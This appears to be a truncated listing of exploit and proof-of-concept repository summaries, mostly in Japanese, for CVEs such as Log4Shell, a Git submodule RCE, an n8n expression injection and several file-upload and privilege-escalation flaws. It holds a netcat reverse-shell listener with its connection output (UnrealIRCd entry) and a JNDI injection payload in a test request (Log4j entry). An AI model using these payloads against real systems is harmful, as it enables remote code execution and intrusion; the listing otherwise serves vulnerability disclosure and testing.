Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Code-Execution

CVE-2021-46076 エクスプロイトタイトル: Vehicle Service Management System - 複数のファイルアップロードによるコード実行 エクスプロイト作成者: SANU P.L CVE: CVE-2021-46076 CVSS: 8.8 HIGH 参考文献: https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-code-execution https://nvd.nist.gov/vuln/detail/CVE-2021-46076...

CVE-2017-8570

これは何？ このリポジトリには、CVE-2017-8570、別名「Composite Moniker」脆弱性のProof of Conceptエクスプロイトが含まれています。これは、Packager.dllのトリックを使用してsctファイルを%TEMP%ディレクトリにドロップし、その脆弱性が提供するプリミティブを使用して実行することを示しています。 なぜ？ いくつかの理由があります。 1. この脆弱性を悪用するためにPackager.dllファイルドロップのトリックを使えるかどうかを確認してみたかったからです。 2...

cve-2018-8389

jscript.dll - ActiveXObject BSTR - 解放後使用 脆弱性 解放されたメモリを参照すると、プログラムがクラッシュしたり、予期しない値を使用したり、コードが実行されたりする可能性があります。 脆弱性の説明 Internet Explorer...

unrealircd3.2.8.1-local-exploit

Metasploitable 3 でテスト済み 使用方法 Ruby 攻撃側のシェルで root@kitploit: nc -nlvp 1111 被害側のシェルで root@kitploit: ruby exploit.rb 127.0.0.1 攻撃側のシェルでの期待される出力 root@kitploit: listening on any 1111 ... connect to 192.168.56.102 from UNKNOWN 192.168.56.105 48144 bobafett Python 被害側のシェルで root@kitploit: python3 exploit.p...

log4j2-issue-check

Log4Shellの評価: RCEゼロデイ問題 このリポジトリには、Log4j2問題 CVE-2021-44228 を評価するコードが含まれています 詳細 https://www.lunasec.io/docs/blog/log4j-zero-day/ テスト方法 クエリパラメータとして$jndi:ldap://127.0.0.1:3089/を指定したGETリクエストを送信します。 root@kitploit: http://localhost:10000/test?userParam=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A3089%2F%7D...

CVE-2024-32002

CVE-2024-32002 RCE PoC 概要 このリポジトリには、Git サブモジュールのリモートコード実行（RCE）脆弱性 CVE-2024-32002 の Proof of Concept（PoC）が含まれています。このエクスプロイトは、Git リポジトリの再帰的クローンを介して悪意のあるペイロードがどのようにトリガーされるかを示しています。 リポジトリのセットアップ PoC を実行する前に、リモート Git サーバー上に次のリポジトリを作成するか、必要に応じて名前を自由に変更してください。 hulk.git submod.git smash.git 名前を変更した場合は、Po...

CVE-2023-46980

CVE-2023-46980 Best Courier Management System v.1.000 における問題により、リモート攻撃者が細工したスクリプトを userID パラメータに渡すことで、任意のコードを実行し、特権を昇格させることが可能です。 追加情報 YT のビデオ POC リンク ; https://youtu.be/3Mz2lSElg7Y 脆弱性タイプ 不適切なアクセス制御 - アカウント乗っ取り 影響を受けるコンポーネント ユーザー名とパスワードを更新できるユーザー更新フォーム 攻撃ベクトル パスワードリセットで簡単に取得できるユーザーIDが必要です。 発見者...

CVE-2021-42362

CVE-2021-42362 WordPressのPopular Postsプラグインは、/src/Image.phpファイルで見つかった不十分な入力ファイルタイプ検証により、任意のファイルアップロードに対して脆弱であり、これにより投稿者レベルのアクセス権限を持つ攻撃者およびそれ以上の権限を持つ攻撃者が、リモートコード実行を達成するために使用できる悪意のあるファイルをアップロードすることが可能です。...

CVE-2024-44346

CVE 開示: CVE-2024-44346 日付: 2024年9月13日 概要 Tosibox の tbsetup.exe バージョン 4.0.0.0 に、ローカル権限昇格を許す可能性のある脆弱性が確認されました。この問題には識別子 CVE-2024-44346 が割り当てられています。ベンダーは、詳細と是正手順を含むアドバイザリを公開しています。 影響を受ける製品 ベンダー : Tosibox 製品 : tbsetup.exe バージョン : 4.0.0.0 脆弱性の説明 Tosibox は、Tosibox Key...

Blackash-CVE-2025-68613

🚨 CVE-2025-68613 — n8n 中的严重 RCE 漏洞 严重性： 🔴 严重 影响： 远程代码执行 受影响平台： n8n（工作流自动化） 🧩 概述 CVE-2025-68613 是 n8n （一个开源工作流自动化平台）中的一个严重安全漏洞 。 该问题允许经过身份验证的攻击者 通过滥用工作流表达式的求值方式，在服务器上执行任意代码 。 🎯 漏洞详情 类型： 表达式注入 → 远程代码执行 CWE： CWE-913 — 对动态管理的代码资源的控制不当 攻击向量： 网络 所需权限： 低（已认证用户） 用户交互： 无 影响范围： 已更改 💥 为什么危险： 恶意表达式在没有适当沙箱隔离...

CVE-2024-10930

CVE 開示: CVE-2024-10930 CVE-2024-10930 の公開開示 日付: 2025年2月12日 概要 Carrier 製品 E20-BLK416X.EXE バージョン 4.16 に、ローカル権限昇格を可能にする可能性のある脆弱性が特定されました。この問題には識別子 CVE-2024-10930 が割り当てられています。ベンダーは、詳細と修復手順を記載したアドバイザリを公開する予定です。 影響を受ける製品 ベンダー : Carrier 製品 : E20-BLK416X.EXE バージョン : 4.16 更新バージョン : 4.2 脆弱性の説明 Carrier...

springcloudRCE

springcloudRCE Spring Cloud Gateway RCE - CVE-2022-22947...

CVE-2024-32002

CVE-2024-32002 RCE PoC 概要 このリポジトリには、Git サブモジュールにおけるリモートコード実行（RCE）脆弱性である CVE-2024-32002 の Proof of Concept（PoC）が含まれています。このエクスプロイトは、悪意のあるペイロードが Git リポジトリの再帰的クローンによってどのようにトリガーされるかを示しています。 リポジトリのセットアップ PoC を実行する前に、リモート Git サーバー上に以下のリポジトリを作成してください。必要に応じて名前を変更しても構いません。 hulk.git submod.git smash.git...

Log4Shell-CVE-2021-44228-

Log4Shell CVE-2021-44228 - SOC 报告分析 概述 该仓库包含针对 Log4Shell CVE-2021-44228 的全面安全运营中心 SOC 分析，这是 2021 年发现的最关键的漏洞之一。该漏洞影响 Apache Log4j 日志库，对全球各地的组织构成极端风险。 内容 SOCREPORT.md - 完整的 SOC 分析与建议 TECHNICALANALYSIS.md - 该漏洞的深度技术剖析 REMEDIATIONGUIDE.md - 分步缓解策略 DETECTIONINDICATORS.md - IOCs（入侵指标）与检测方法...

CVE-2011-0762

CVE-2011-0762 Exploit CVE-2011-0762 の脆弱性に対する C 言語のエクスプロイト。FTP サーバーにおいて、悪意のあるペイロードを含む STAT コマンドを送信することで、潜在的な障害や意図しない実行を引き起こす可能性があります。 説明 このエクスプロイトは FTP サーバーに接続し、提供されたユーザー名とパスワードを使用して認証します（またはデフォルトの匿名認証情報を使用します）。ログイン後、脆弱性を悪用するために特別に構築されたペイロードを含む STAT コマンドを送信します。 STAT コマンドは、入れ子になった中括弧（）の構造を持ち、脆弱な FT...

PoC_CVE-2025-55182

Next.js React2Shell（CVE-2025-55182）エクスプロイトツール 認可されたローカルテスト環境のみ で、重大な React2Shell 脆弱性（CVE-2025-55182 / CVE-2025-66478）を実証するための概念実証（PoC）ツールです。 ⚠️ 重大な警告：活発な悪用が発生中 この脆弱性（CVSS 10.0）は、高度な脅威アクターによって活発に悪用されています。 Amazon Threat Intelligence によると、Earth Lamia や Jackpot Panda...

CVE-2020-14882

CVE-2020-14882 CVE-2020–14882 - Jangによる調査 @s1kr10sによるコード Poc: 投稿レビュー / 動画: root@kitploit: https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf https://www.youtube.com/watch?v=JFVDOIL0YtA&feature=youtu.be...

CVE-2018-0802

CVE-2018-0802 CVE-2018-08022: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802 MITRE CVE-2018-0802: https://vulners.com/cve/CVE-2018-0802 0patch のエクスプロイトとパッチのビデオ: https://www.youtube.com/watch?v=XU-U4K270Z4 Qihoo 360 のブログ記事 http://www.freebuf.com/vuls/159789.html...

CVE-2024-32651-changedetection-RCE

CVE-2024-32651 changedetection 0.45.20 - リモートコード実行 RCE サーバーサイドテンプレートインジェクション SSTI エクスプロイト!! 1. タイトル 脆弱なWebアプリケーションにおけるサーバーサイドテンプレートインジェクション SSTI を介したリモートコード実行 2. 説明 このエクスプロイトは、サーバーサイドテンプレートインジェクション SSTI...

CVE-2025-40602

CVE-2025-40602 CVE-2025-40602 は、SonicWall Secure Mobile Access SMA 1000 シリーズアプライアンスのアプライアンス管理コンソール AMC におけるローカル権限昇格の脆弱性です。この脆弱性は、AMC の不十分な認可に起因し、認証済みのリモート攻撃者が影響を受けるデバイス上で権限を昇格させることを可能にします。CVE-2025-23006 と連鎖させることで、攻撃者は認証を必要としないリモートコード実行を root 権限で達成できます。このゼロデイ脆弱性は実際に積極的に悪用されており、2025年12月17日に CISA...